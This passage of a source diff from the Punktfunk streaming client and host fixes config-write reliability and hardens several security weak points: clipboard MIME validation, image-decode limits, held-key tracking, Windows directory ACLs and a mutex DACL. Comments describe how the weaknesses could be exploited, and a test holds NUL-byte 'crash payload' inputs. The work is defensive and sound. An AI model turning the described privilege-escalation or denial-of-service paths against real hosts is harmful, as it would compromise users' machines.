* A real saved name always wins over the advert, even a stale one: it may be a name the user
* chose, and a live advert must never quietly overwrite that. Compared against the SAVED
* address, so a host that moved DHCP lease still recognises its old address as a placeholder.
*/
function hostLabel(s: SavedHost, advert?: DiscoveredHost): string {
const placeholder = !s.name || s.name === s.addr || s.name === `${s.addr}:${s.port}`;
if (!placeholder) return s.name;
return advert?.name || s.name || s.addr;
}
/**
* Join the saved store and the live browse into the rows the panel draws.
*
@@ -134,7 +153,7 @@ export function mergeHosts(saved: SavedHost[], discovered: DiscoveredHost[]): Ho
// Prefer a live advert's address: the host may have moved since it was last saved.
const advert = discovered.find((a) => advertMatchesSaved(a, s));
return {
name: s.name || s.addr,
name: hostLabel(s, advert),
addr: advert?.addr ?? s.addr,
port: advert?.port ?? s.port,
fp: s.fp_hex,
@@ -387,7 +406,10 @@ export async function applyUpdate(
// before any result could arrive — so never await it. Decky shows its own confirm prompt.
void backend.callable("utilities/install_plugin")(
info.artifact,
"punktfunk",
// The name Decky uninstalls before extracting the new zip — it locates the folder by
// matching plugin.json "name", so this must equal THIS build's plugin.json name (the
// brand-cased one), not the lowercase on-disk dir.
"Punktfunk",
info.latest,
info.hash,
INSTALL_TYPE_UPDATE,
+5 -3
View File
@@ -337,9 +337,11 @@ export default definePlugin(() => {
// controller config. Fire-and-forget: cosmetic library upkeep must never block plugin load.
void ensureGamepadUiShortcut();
return {
// `name` is the plugin's INTERNAL id — it must stay in sync with plugin.json (the loader
// keys plugins by it), so it stays lowercase; user-facing strings say "Punktfunk".
name: "punktfunk",
// `name` must stay in sync with plugin.json (the loader keys plugins by it) — and it is
// USER-VISIBLE: Decky labels the entry in its plugin list with it, so it carries the brand
// case. Decky finds an installed plugin by matching plugin.json "name" (never the folder
// name), so this is independent of the on-disk dir, which stays lowercase `punktfunk`.
name: "Punktfunk",
// `staticClasses?.Title` is guarded so a future client that drops the export can't throw
// at plugin-load time (an error boundary only catches render-time, not load-time, errors).
titleView: <div className={staticClasses?.Title}>Punktfunk</div>,
+12 -3
View File
@@ -70,9 +70,18 @@ declare const appStore:
* entry from a false "missing". A confident null means the shortcut was deleted → recreate. */
function shortcutStillExists(appId: number): boolean {
try {
const get = appStore?.GetAppOverviewByAppID;
if (!get) return true; // no way to verify — preserve the reuse path
return get(appId) != null;
// Call it as a METHOD on appStore — NEVER as an extracted function. Its implementation
// reads the store's own state (`this.m_mapApps`), so `const get = appStore.GetAppOverview…;
// get(id)` throws on the lost `this`, and the catch below turns that into a permanent
// "true". That is not a stale-data bug but a total one: the guard then answers "still
// exists" for EVERY appId, so a dangling id is never dropped, the reuse path repoints a
// dead shortcut (silent no-ops), and "recreate" reports success having done nothing.
// `typeof` first: `appStore` is a Steam-injected global, and a bare reference to a missing
// one is a ReferenceError that optional chaining does NOT prevent.
if (typeof appStore === "undefined" || !appStore?.GetAppOverviewByAppID) {
return true; // no way to verify — preserve the reuse path
}
return appStore.GetAppOverviewByAppID(appId) != null;
} catch {
return true;
}
+26 -1
View File
@@ -1911,10 +1911,35 @@ pub(crate) fn settings_page(
} else {
border(vstack(Vec::<Element>::new())).into()
};
// Every save on this page is fire-and-forget by design — a failed settings write must
// never take a stream down — so a client whose config store rejects writes looks entirely
// normal: toggles move, profiles appear, and NOTHING survives a restart. That is exactly
// how it reached us from the field ("it's in read-only mode"), with no log file to send
// either. When the store is refusing writes, say so, name the path, and stop pretending.
//
// Same always-mounted-slot discipline as `sheet_slot`: one child in both states, and the
// SAME KIND in both (a Border wrapping the bar, versus an empty background-less Border —
// which per style.rs is not hit-testable, so it swallows no clicks). Neither a grid child
// nor a vstack child is ever added or removed, which is where this reconciler's phantom
// bookkeeping breaks.
let store_slot: Element = match pf_client_core::trust::store_health::last_error() {
Some(err) => border(
InfoBar::new("Your changes aren\u{2019}t being saved")
.message(format!(
"Punktfunk can\u{2019}t write to its settings folder, so nothing on this \
page will survive a restart. {err}"
))
.error()
.is_closable(false),
)
.margin(edges(24.0, 12.0, 28.0, 0.0))
.into(),
None => border(vstack(Vec::<Element>::new())).into(),
};
// The bar rides an Auto row above the nav's Star row, so the nav (and the sheet's scrim
// over it) still fills the rest of the window.
grid(vec![
scope_bar.grid_row(0),
Element::from(vstack(vec![store_slot, scope_bar])).grid_row(0),
Element::from(grid(vec![nav.into(), sheet_slot, confirm])).grid_row(1),
])
.rows([GridLength::Auto, GridLength::STAR])
+224 -9
View File
@@ -91,22 +91,131 @@ fn lock_identity_perms(dir: &std::path::Path, key: &std::path::Path) {
let _ = std::fs::set_permissions(key, std::fs::Permissions::from_mode(0o600));
}
/// A sibling temp path unique to this process. The stores below have five whole-file writers
/// (WinUI shell, session, console UI, CLI, Decky) and a single shared `.json.tmp` lets two of
/// them interleave: on Windows the second `fs::write` hits a sharing violation, and worse, one
/// process can rename the OTHER's half-written bytes over the target. The pid keeps each
/// writer on its own scratch file; the rename below removes it, so a leftover only survives a
/// hard kill.
fn temp_sibling(path: &Path) -> PathBuf {
let mut name = path.file_name().unwrap_or_default().to_os_string();
name.push(format!(".tmp-{}", std::process::id()));
path.with_file_name(name)
}
/// Write a config file the safe way: a sibling temp file, then a rename over the target. A
/// plain `fs::write` truncates first, so a crash, a full disk or a power cut between truncate
/// and the last byte leaves an empty/half file — and these stores are what a client needs to
/// find its hosts at all. Rename is atomic within a directory on both Unix and Windows
/// (`MoveFileEx` with replace), so a reader ever sees the old file or the new one, never a
/// torn one. Same discipline as the host's `session_settings.rs`.
///
/// **But the rename is not always available, and losing the write is far worse than a torn
/// one.** The Windows client ships as an MSIX package, so every path here is rewritten by the
/// container's AppData virtualization before it reaches the filesystem — and when the package
/// is installed to a secondary drive (Settings ▸ Storage ▸ "New apps will save to: D:"),
/// Windows stores that redirected AppData on the *package's* volume, under
/// `D:\WpSystem\<SID>\AppData\`. The literal path we name still says `C:\Users\…`, so a rename
/// can end up straddling two volumes, and `std::fs::rename` is `MoveFileExW` with
/// `MOVEFILE_REPLACE_EXISTING` and *not* `MOVEFILE_COPY_ALLOWED` — a cross-volume move fails
/// outright with `ERROR_NOT_SAME_DEVICE`. Creating and writing files works fine, which is why
/// such an install starts, streams and pairs happily while every setting and profile silently
/// evaporates (field report 2026-08-05: "it's in read-only mode").
///
/// So a failed rename falls back to writing the target in place. That is exactly what the
/// identity files already do a few lines up — and those demonstrably work on the affected
/// installs — so the fallback is a path we know resolves. It gives up crash-atomicity for that
/// one write and nothing else: the temp+rename stays the normal route everywhere it works.
///
/// Writes and reads of one literal path cannot disagree under that redirection — Microsoft
/// documents a single private-location-first resolution order for both, so whichever layer a
/// write lands in is the layer the next read finds. The fallback still verifies by reading
/// back: a silent write is the exact bug being fixed here, and this path only runs on an
/// install that has already proven it does something unusual.
pub(crate) fn write_atomic(path: &Path, bytes: &[u8]) -> std::io::Result<()> {
let tmp = path.with_extension("json.tmp");
std::fs::write(&tmp, bytes)?;
match std::fs::rename(&tmp, path) {
Ok(()) => Ok(()),
Err(e) => {
// Don't leave the temp behind to confuse the next writer (or a backup tool).
let _ = std::fs::remove_file(&tmp);
Err(e)
let tmp = temp_sibling(path);
let atomic = std::fs::write(&tmp, bytes).and_then(|()| std::fs::rename(&tmp, path));
let Err(e) = atomic else {
store_health::clear();
return Ok(());
};
// Don't leave the temp behind to confuse the next writer (or a backup tool).
let _ = std::fs::remove_file(&tmp);
match std::fs::write(path, bytes) {
Ok(()) => {
tracing::warn!(
path = %path.display(),
error = %e,
"atomic replace unavailable in this install; wrote the config in place instead",
);
// Read it straight back. This whole bug was a write that reported success and
// vanished, so the fallback does not get to claim success on the strength of an
// `Ok(())` alone — on the one layered filesystem we know we run on, that is the
// failure mode to be paranoid about. Only on the degraded path, so the normal
// route pays nothing.
match std::fs::read(path) {
Ok(back) if back == bytes => {
store_health::clear();
Ok(())
}
Ok(_) => {
let e = std::io::Error::other(
"the file read back different from what was just written",
);
store_health::record(path, &e);
Err(e)
}
Err(reread) => {
store_health::record(path, &reread);
Err(reread)
}
}
}
// Both routes are gone: the store really is unwritable. Report the direct write's
// error — it describes the actual permission/space problem, where the rename's may
// only say the two paths landed on different volumes.
Err(direct) => {
store_health::record(path, &direct);
Err(direct)
}
}
}
/// Whether the config store is accepting writes, so a front-end can *say so* when it is not.
///
/// Every persistence call site in this crate is deliberately fire-and-forget — a failed
/// settings write must never take a stream down — which historically meant a client whose
/// store was unwritable looked completely normal: toggles moved, profiles appeared, and
/// nothing survived a restart. The field report that produced this module had no log file to
/// send either, so there was no signal anywhere. Recording the last failure centrally lets the
/// UI surface it without unpicking ~15 `let _ = …save()` call sites.
pub mod store_health {
use std::path::Path;
use std::sync::Mutex;
static LAST_ERROR: Mutex<Option<String>> = Mutex::new(None);
pub(crate) fn record(path: &Path, err: &std::io::Error) {
let msg = format!("{}: {err}", path.display());
tracing::error!(store = %path.display(), error = %err, "cannot persist client config");
if let Ok(mut slot) = LAST_ERROR.lock() {
*slot = Some(msg);
}
}
pub(crate) fn clear() {
if let Ok(mut slot) = LAST_ERROR.lock() {
*slot = None;
}
}
/// The most recent failure to persist a config file, if the last attempt failed.
///
/// Tracks the last *attempt*, not a per-file verdict: a store that cannot be written fails
/// every file, so this latches for as long as the problem lasts and goes quiet the moment
/// any write gets through.
pub fn last_error() -> Option<String> {
LAST_ERROR.lock().ok().and_then(|s| s.clone())
}
}
@@ -1940,6 +2049,7 @@ mod tests {
/// discipline all three client stores now share.
#[test]
fn write_atomic_replaces_and_cleans_up() {
let _guard = store_health_lock();
let dir = std::env::temp_dir().join(format!(
"pf-client-core-test-{}",
std::time::SystemTime::now()
@@ -1953,7 +2063,112 @@ mod tests {
assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"a\":1}");
write_atomic(&p, b"{\"a\":2}").unwrap();
assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"a\":2}");
assert!(!p.with_extension("json.tmp").exists());
assert!(!temp_sibling(&p).exists());
// Nothing else in the directory either — the scratch file is gone, not renamed aside.
let left: Vec<_> = std::fs::read_dir(&dir)
.unwrap()
.filter_map(|e| e.ok().map(|e| e.file_name()))
.collect();
assert_eq!(left, vec![std::ffi::OsString::from("store.json")]);
let _ = std::fs::remove_dir_all(&dir);
}
/// `store_health` is process-global, so the two tests that read it must not run at the same
/// time — one's successful write clears the other's recorded failure. Nothing else in the
/// crate's tests reaches `write_atomic`, so this lock is the whole serialization needed.
fn store_health_lock() -> std::sync::MutexGuard<'static, ()> {
static LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
LOCK.lock().unwrap_or_else(|e| e.into_inner())
}
/// Two processes saving at once must not share one scratch file — the pid keeps them apart.
/// (Same-process, so this only proves the name varies with the pid, not the interleaving.)
#[test]
fn temp_sibling_is_per_process_and_a_sibling() {
let p = Path::new("/tmp/pf/client-windows-settings.json");
let t = temp_sibling(p);
assert_eq!(t.parent(), p.parent());
assert_eq!(
t.file_name().unwrap().to_str().unwrap(),
format!("client-windows-settings.json.tmp-{}", std::process::id())
);
// Must not collide with the store itself, nor look like one to `load()`.
assert_ne!(t, p.to_path_buf());
}
/// **The fix itself.** When the temp+rename route is unavailable, the bytes must still
/// reach the target — that is the difference between the field's "read-only mode" and a
/// working client. Simulated by parking a DIRECTORY on the (deterministic) temp sibling
/// path so the temp leg cannot be written; the field's install fails one step later, at
/// the rename, but both funnel into the same fallback, which is what this pins.
#[test]
fn the_atomic_route_failing_falls_back_to_an_in_place_write() {
let _guard = store_health_lock();
let dir = std::env::temp_dir().join(format!(
"pf-client-core-inplace-{}-{}",
std::process::id(),
std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0)
));
std::fs::create_dir_all(&dir).unwrap();
let p = dir.join("store.json");
std::fs::write(&p, b"{\"old\":true}").unwrap();
// Block the scratch path, so the atomic route cannot complete.
std::fs::create_dir_all(temp_sibling(&p)).unwrap();
assert!(temp_sibling(&p).is_dir());
// The write must still report success AND actually be readable back — a silent
// `Ok(())` that lost the bytes is the bug, not the fix.
write_atomic(&p, b"{\"new\":true}").unwrap();
assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"new\":true}");
// Degraded, but not broken: nothing to warn the user about.
assert_eq!(store_health::last_error(), None);
let _ = std::fs::remove_dir_all(&dir);
}
/// The other end: when the in-place fallback ALSO fails, the error must surface rather
/// than be swallowed, because at that point nothing the user does on the page will stick.
#[test]
fn a_failed_rename_still_persists_the_write() {
let _guard = store_health_lock();
let dir = std::env::temp_dir().join(format!(
"pf-client-core-fallback-{}-{}",
std::process::id(),
std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0)
));
std::fs::create_dir_all(&dir).unwrap();
// Sanity: the healthy path reports a healthy store.
let ok = dir.join("store.json");
write_atomic(&ok, b"{}").unwrap();
assert_eq!(store_health::last_error(), None);
// Now the unwritable case: a directory in the target's place defeats BOTH the rename
// and the in-place write, so the error must surface instead of being swallowed.
let blocked = dir.join("blocked.json");
std::fs::create_dir_all(&blocked).unwrap();
std::fs::write(blocked.join("occupant"), b"x").unwrap();
assert!(write_atomic(&blocked, b"{\"a\":1}").is_err());
let reported = store_health::last_error().expect("an unwritable store must be reported");
assert!(
reported.contains("blocked.json"),
"the report names the store: {reported}"
);
// No scratch file left behind by the failed attempt.
assert!(!temp_sibling(&blocked).exists());
// And a later success clears it, so the UI stops warning once the store recovers.
write_atomic(&ok, b"{\"a\":2}").unwrap();
assert_eq!(store_health::last_error(), None);
assert_eq!(std::fs::read_to_string(&ok).unwrap(), "{\"a\":2}");
let _ = std::fs::remove_dir_all(&dir);
}
}
+6 -5
View File
@@ -270,7 +270,11 @@ fn load_floor(path: &Path, channel: &str) -> u64 {
.unwrap_or(0)
}
/// Raise (never lower) the floor; atomic tmp+rename so a power cut can't half-write it.
/// Raise (never lower) the floor, through the crate's one config writer — this used to
/// hand-roll its own tmp+rename, which meant it neither cleaned up its temp on a failed
/// rename nor picked up [`crate::trust::write_atomic`]'s in-place fallback, so on an install
/// where the rename cannot work the floor silently never rose and a declined update came
/// back forever.
fn store_floor(path: &Path, channel: &str, serial: u64) {
let mut file: FloorFile = std::fs::read(path)
.ok()
@@ -287,10 +291,7 @@ fn store_floor(path: &Path, channel: &str, serial: u64) {
if let Some(dir) = path.parent() {
let _ = std::fs::create_dir_all(dir);
}
let tmp = path.with_extension("json.tmp");
if std::fs::write(&tmp, &bytes).is_ok() {
let _ = std::fs::rename(&tmp, path);
}
let _ = crate::trust::write_atomic(path, &bytes);
}
// ---------------------------------------------------------------- check
+61 -1
View File
@@ -309,6 +309,24 @@ pub fn offer_wire_mimes(raw: &[String]) -> Vec<&'static str> {
out
}
/// Whether a non-canonical, client-supplied MIME is safe to hand to Wayland as a string argument.
///
/// Deliberately strict: printable ASCII only (so no NUL and no other control byte can reach the
/// `CString` in the generated encoder), bounded length, and it must actually look like a MIME type.
/// A real `type/subtype[;params]` passes; nothing that could crash or confuse the compositor does.
#[cfg(target_os = "linux")]
fn valid_passthrough_mime(m: &str) -> bool {
let Some((ty, rest)) = m.split_once('/') else {
return false;
};
!ty.is_empty()
&& !rest.is_empty()
&& m.len() <= 255
// 0x21..=0x7E: printable ASCII without space. Excludes NUL, every other control byte, and
// any non-ASCII byte.
&& m.bytes().all(|b| (0x21..=0x7E).contains(&b))
}
/// The Wayland MIMEs to advertise when installing a source for a client's offer. Each wire MIME
/// expands to its canonical Wayland name(s); a rich-text-only offer also advertises `text/plain`
/// so plain-text targets always paste (§3.5 synthesis — destination-side, one direction only).
@@ -342,7 +360,17 @@ pub fn wayland_offers_for(wire_mimes: &[String]) -> Vec<String> {
WIRE_PNG => push("image/png"),
WIRE_JPEG => push("image/jpeg"),
WIRE_GIF => push("image/gif"),
other => push(other),
// A MIME we don't canonicalize is passed through verbatim — so it is the one value on
// this path the CLIENT fully controls, and it ends up as a Wayland string argument.
// The wayland-scanner-generated request encoder builds a `CString` and `unwrap()`s it,
// so a single interior NUL turns one control message into a host clipboard panic
// (2026-08-05 review L-8). `String::from_utf8_lossy` on the wire preserves `\0`, so
// nothing upstream removes it. Validate here, at the boundary where the value stops
// being ours and becomes libwayland's.
other if valid_passthrough_mime(other) => push(other),
other => {
tracing::debug!(mime = %other.escape_debug(), "clipboard: dropping a malformed client MIME");
}
}
}
// Synthesis: rich text without plain text → also advertise plain (the source derives it lazily).
@@ -389,6 +417,38 @@ mod tests {
assert_eq!(offer_wire_mimes(&raw), vec![WIRE_TEXT, WIRE_HTML]);
}
/// One control message must not be able to panic the host clipboard coordinator
/// (2026-08-05 review L-8). The passthrough branch is the only place a client string becomes a
/// Wayland argument, and the generated encoder `unwrap()`s a `CString` built from it.
#[test]
fn passthrough_mimes_cannot_carry_a_nul_or_control_byte() {
// The crash payload: an interior NUL survives `String::from_utf8_lossy` on the wire.
assert!(!valid_passthrough_mime("image/webp\0"));
assert!(!valid_passthrough_mime("\0"));
assert!(!valid_passthrough_mime("image/\0webp"));
// Other control bytes and whitespace are refused for the same reason.
assert!(!valid_passthrough_mime("image/web\np"));
assert!(!valid_passthrough_mime("image/web p"));
assert!(!valid_passthrough_mime("image/web\tp"));
// Shapes that are not a MIME type at all.
assert!(!valid_passthrough_mime(""));
assert!(!valid_passthrough_mime("noslash"));
assert!(!valid_passthrough_mime("/nosubtype"));
assert!(!valid_passthrough_mime("notype/"));
assert!(!valid_passthrough_mime(&format!(
"image/{}",
"x".repeat(300)
)));
// Legitimate uncanonicalized MIMEs still pass through.
assert!(valid_passthrough_mime("image/webp"));
assert!(valid_passthrough_mime("application/x-custom+json"));
assert!(valid_passthrough_mime("text/plain;charset=utf-8"));
// End to end: the offer list is built without the malformed entry, and does not panic.
let offers = wayland_offers_for(&["image/webp\0".to_string(), WIRE_PNG.to_string()]);
assert_eq!(offers, vec!["image/png".to_string()]);
}
#[test]
fn pick_wayland_mime_prefers_canonical() {
let avail = vec!["text/plain".to_string(), "UTF8_STRING".to_string()];
+21 -1
View File
@@ -169,7 +169,27 @@ fn strip_trailing_nul(b: &[u8]) -> &[u8] {
/// bytes (BITMAPINFOHEADER, 32bpp BGRA, BI_RGB, bottom-up). GIFs contribute their first frame.
/// `None` when the bytes don't decode — the caller leaves the format unrendered (empty paste).
pub fn image_to_dib(bytes: &[u8]) -> Option<Vec<u8>> {
let img = image::load_from_memory(bytes).ok()?;
// Bound the DECODE, not just the result.
//
// These bytes are client-supplied, and `load_from_memory` used the `image` crate's DEFAULT
// limits — 512 MiB of decode allowance — while the 32767 dimension check below only ran on the
// already-decoded image. So a small, valid PNG declaring enormous dimensions was allocated in
// full before anything rejected it: ~1000× amplification from a few KB of wire (2026-08-05
// review L-9). Limits applied here make the allocation refuse instead.
//
// The caps are the clipboard's own contract expressed up front: the same 32767 per side that
// is checked below (a CF_DIB cannot express more), and 256 MiB, which is more than the largest
// representable 32bpp image anyone pastes and far less than a memory-exhaustion primitive.
let mut limits = image::Limits::default();
limits.max_image_width = Some(32767);
limits.max_image_height = Some(32767);
limits.max_alloc = Some(256 * 1024 * 1024);
let reader = image::ImageReader::new(std::io::Cursor::new(bytes))
.with_guessed_format()
.ok()?;
let mut reader = reader;
reader.limits(limits);
let img = reader.decode().ok()?;
let rgba = img.to_rgba8();
let (w, h) = (rgba.width() as usize, rgba.height() as usize);
if w == 0 || h == 0 || w > 32767 || h > 32767 {
+14 -3
View File
@@ -1022,10 +1022,21 @@ impl EiState {
// Track held state on the wire codes so `release_all` can undo it at
// session end (vanished clients must not leave anything latched).
match ev.kind {
InputKind::KeyDown if !self.held_keys.contains(&ev.code) => {
self.held_keys.push(ev.code);
// Track the code we ACTUALLY INJECTED, not the raw wire code.
//
// Injection truncates (`vk_to_evdev(ev.code as u8)`), so 0x41, 0x141, 0x241 … all
// press the same key — but this list stored the full 32 bits, so a KeyUp for 0x41
// never matched the entry a KeyDown for 0x141 left behind. A client sending
// distinct high bytes therefore appended entries that could never be removed, to a
// `Vec` scanned linearly on every keystroke, for the lifetime of the injector
// thread — which outlives the session (2026-08-05 review L-4). Tracking the
// truncated code makes the list correct AND bounds it at 256 entries by
// construction. `release_all` re-injects through the same truncation, so the
// release path is unchanged.
InputKind::KeyDown if !self.held_keys.contains(&(ev.code & 0xff)) => {
self.held_keys.push(ev.code & 0xff);
}
InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code),
InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code & 0xff),
InputKind::MouseButtonDown if !self.held_buttons.contains(&ev.code) => {
self.held_buttons.push(ev.code);
}
+92 -17
View File
@@ -70,11 +70,64 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> {
{
let r = std::fs::create_dir_all(dir);
#[cfg(windows)]
restrict_dir_to_system_admins(dir);
restrict_dir_to_system_admins(dir, first_hardening_of(dir));
r
}
}
/// Whether this is the first hardening pass of `dir` in this process — the pass that also does the
/// expensive recursive re-own.
///
/// A planted config dir is planted once, before the host ever starts, so one deep pass at startup
/// closes it; repeating it on every `create_private_dir` call (the library CRUD calls it per write)
/// would re-walk the whole config tree — recordings, art cache — for nothing.
#[cfg(windows)]
fn first_hardening_of(dir: &std::path::Path) -> bool {
use std::collections::HashSet;
use std::sync::{Mutex, OnceLock};
static SEEN: OnceLock<Mutex<HashSet<PathBuf>>> = OnceLock::new();
SEEN.get_or_init(|| Mutex::new(HashSet::new()))
.lock()
.map(|mut s| s.insert(dir.to_path_buf()))
.unwrap_or(false)
}
/// Re-apply the secret-file DACL to a file that **already exists** — including re-owning it to
/// Administrators.
///
/// [`write_secret_file`] hardens what it writes, but a file that was planted before the host first
/// ran was never written by us: it is owned by whoever created it, and an owner always retains
/// `WRITE_DAC`, so re-ACLing without re-owning leaves them able to put their access straight back.
/// Used on startup for `host.env`, whose contents become the SYSTEM service's environment and
/// command line (2026-08-05 review H-4). Best-effort and never fatal.
#[cfg(windows)]
pub fn restrict_existing_secret_file(path: &std::path::Path) {
if !path.exists() {
return;
}
let icacls = icacls_path();
let _ = std::process::Command::new(&icacls)
.arg(path.as_os_str())
.args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.status();
restrict_to_system_admins(path);
}
/// No-op off Windows: POSIX modes are set at creation by [`write_secret_file`] and a config dir a
/// non-root user pre-created is not a privilege boundary the way `%ProgramData%` is.
#[cfg(not(windows))]
pub fn restrict_existing_secret_file(_path: &std::path::Path) {}
/// `icacls` by absolute path — a privileged service must never resolve it through `PATH`.
#[cfg(windows)]
fn icacls_path() -> String {
std::env::var("SystemRoot")
.map(|r| format!("{r}\\System32\\icacls.exe"))
.unwrap_or_else(|_| "icacls".to_string())
}
/// Best-effort Windows DACL lockdown of the config *directory* (the companion to
/// [`restrict_to_system_admins`] for files). The default `%ProgramData%` ACL lets `BUILTIN\Users`
/// create subfolders/files (and become `CREATOR OWNER`), so a non-admin could pre-create the
@@ -86,17 +139,23 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> {
/// are additionally locked to SYSTEM/Admins by [`write_secret_file`]. Hard-coded SIDs
/// (locale-independent) via the absolute `%SystemRoot%` path; never fatal.
#[cfg(windows)]
fn restrict_dir_to_system_admins(dir: &std::path::Path) {
let icacls = std::env::var("SystemRoot")
.map(|r| format!("{r}\\System32\\icacls.exe"))
.unwrap_or_else(|_| "icacls".to_string());
// Reset ownership of the directory object to Administrators first, so a dir a non-admin may have
// pre-created can't keep OWNER control (an owner can always rewrite the DACL). No `/T` — re-owning
// the dir itself is what defeats the pre-creation; recursing a large captures tree each call is
// needless churn (secret files are individually owner-locked by `write_secret_file`).
let _ = std::process::Command::new(&icacls)
.arg(dir.as_os_str())
.args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) {
let icacls = icacls_path();
// Reset ownership to Administrators first, so a dir a non-admin may have pre-created can't keep
// OWNER control (an owner always retains WRITE_DAC and can put its access straight back).
//
// `deep` (once per directory per process — see `first_hardening_of`) also re-owns the CONTENTS.
// Re-owning only the directory left every file the attacker had already created still owned by
// them, and therefore still theirs to rewrite, which is half of why the 2026-08-05 review's H-4
// was exploitable end to end. A planted tree is planted once, before the host first runs, so one
// deep pass at startup closes it without re-walking recordings and art cache on every write.
let mut own = std::process::Command::new(&icacls);
own.arg(dir.as_os_str())
.args(["/setowner", "*S-1-5-32-544"]); // BUILTIN\Administrators
if deep {
own.args(["/T", "/C", "/Q"]); // recurse, continue on error, quiet
}
let _ = own
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.status();
@@ -108,8 +167,13 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) {
"*S-1-5-18:(OI)(CI)(F)", // NT AUTHORITY\SYSTEM
"/grant:r",
"*S-1-5-32-544:(OI)(CI)(F)", // BUILTIN\Administrators
"/grant:r",
"*S-1-3-4:(OI)(CI)(F)", // OWNER RIGHTS
// NO inheritable OWNER RIGHTS (`*S-1-3-4`) here, deliberately. It used to be granted
// `(OI)(CI)(F)`, which handed full control of every child object to whoever owned it —
// so a file a local user created before the hardening ran stayed writable by them even
// after the directory was re-owned (2026-08-05 review H-4, second half). SYSTEM and
// Administrators cover every account that legitimately writes here; a non-elevated
// manual run gets read-only config, which is the intended boundary rather than a
// regression — this directory drives command execution as SYSTEM.
"/grant:r",
"*S-1-5-32-545:(OI)(CI)(RX)", // BUILTIN\Users — read-only (no create/write → no plant)
])
@@ -130,6 +194,19 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) {
/// Windows (the default `%ProgramData%` ACL is Users-readable). Mirrors the mgmt-token hardening; used
/// for the host private key and the persisted trust stores so a local unprivileged user can neither
/// read the key (impersonation) nor tamper with the paired allow-list (unauthorized pairing).
///
/// **Windows ordering caveat** (2026-08-05 review L-17): this is create-then-`icacls`, not
/// create-with-DACL — `std::fs::OpenOptions` cannot pass a `SECURITY_ATTRIBUTES`, and this crate is
/// `#![forbid(unsafe_code)]` so it cannot call `CreateFileW` itself. The file therefore exists
/// briefly under its INHERITED ACL, and a failed `icacls` is a warning rather than an error.
///
/// What makes that acceptable is the DIRECTORY, and only the directory: every caller writes into
/// the config dir, which [`create_private_dir`] now hardens unconditionally and BEFORE the first
/// read of anything in it (review H-4/M-1), granting `BUILTIN\Users` read-only and no create. The
/// inherited ACL a secret is born with is therefore already SYSTEM/Administrators-only, and the
/// `icacls` below is defence in depth rather than the thing standing between a local user and the
/// host key. Keep that ordering — if the directory hardening is ever moved back after a read, this
/// window becomes real again.
pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Result<()> {
use std::io::Write;
let mut opts = std::fs::OpenOptions::new();
@@ -160,9 +237,7 @@ pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Re
/// `PATH`). Never fatal — on failure the file is simply left at the inherited ACL (today's behaviour).
#[cfg(windows)]
fn restrict_to_system_admins(path: &std::path::Path) {
let icacls = std::env::var("SystemRoot")
.map(|r| format!("{r}\\System32\\icacls.exe"))
.unwrap_or_else(|_| "icacls".to_string());
let icacls = icacls_path();
let status = std::process::Command::new(icacls)
.arg(path.as_os_str())
.args([
+5
View File
@@ -66,6 +66,11 @@ pf-driver-proto = { path = "../pf-driver-proto" }
bytemuck = { version = "1.19", features = ["derive"] }
windows = { version = "0.62", features = [
"Win32_Foundation",
# The single-instance mutex is created with an explicit SDDL DACL and its owner is checked, so
# a lower-privileged process (the LocalService plugin runner) can neither open it nor squat the
# name unnoticed — see manager/instance.rs (security-review 2026-08-05 L-16).
"Win32_Security",
"Win32_Security_Authorization",
"Win32_Devices_DeviceAndDriverInstallation",
"Win32_Devices_Display",
"Win32_Graphics_Gdi",
@@ -3,6 +3,7 @@
//! `IOCTL_CLEAR_ALL` and razing the live host's monitors mid-stream.
use super::*;
use windows::Win32::Security::{PSECURITY_DESCRIPTOR, SECURITY_ATTRIBUTES};
/// The held single-instance mutex (`None` until claimed). Process-global — not per-manager — so the
/// serve path can claim it EAGERLY at startup, before any session opens the backend: the claim is
@@ -40,16 +41,40 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
machine refusing to touch the driver (a second manager's startup CLEAR_ALL would raze \
the live host's monitors mid-stream). Stop the other instance (e.g. `punktfunk-host \
service stop`) first.";
// SAFETY: plain FFI create of a named mutex; the returned handle (checked) is solely owned by
// the `OwnedHandle`, and `GetLastError` is read immediately after the create — the documented
// ERROR_ALREADY_EXISTS protocol for pre-existing named objects.
// A name in `Global\` is creatable by ANY principal holding SeCreateGlobalPrivilege — which
// includes the LocalService account the plugin runner is forced to (plugins.rs). With `None`
// security attributes this object took the DACL from the creating token's default, and a
// squatter who got there first (creating the name with a DACL that denies SYSTEM) permanently
// and silently disabled every virtual-display session: the host lands in the ACCESS_DENIED arm
// below and reports a perfectly reasonable "another instance is managing the driver", which
// sends the operator hunting a process that does not exist (2026-08-05 review L-16).
//
// Two changes: create with an EXPLICIT DACL so lesser principals cannot open ours, and check
// the OWNER of a name that already exists so a squat is reported as a squat.
let sd = security_descriptor()?;
let sa = SECURITY_ATTRIBUTES {
nLength: std::mem::size_of::<SECURITY_ATTRIBUTES>() as u32,
lpSecurityDescriptor: sd.0,
bInheritHandle: false.into(),
};
// SAFETY: plain FFI create of a named mutex; `sa` (and the descriptor it points at) outlives
// the call, the returned handle (checked) is solely owned by the `OwnedHandle`, and
// `GetLastError` is read immediately after the create — the documented ERROR_ALREADY_EXISTS
// protocol for pre-existing named objects.
unsafe {
let h = match CreateMutexW(None, false, w!("Global\\punktfunk-vdisplay-manager")) {
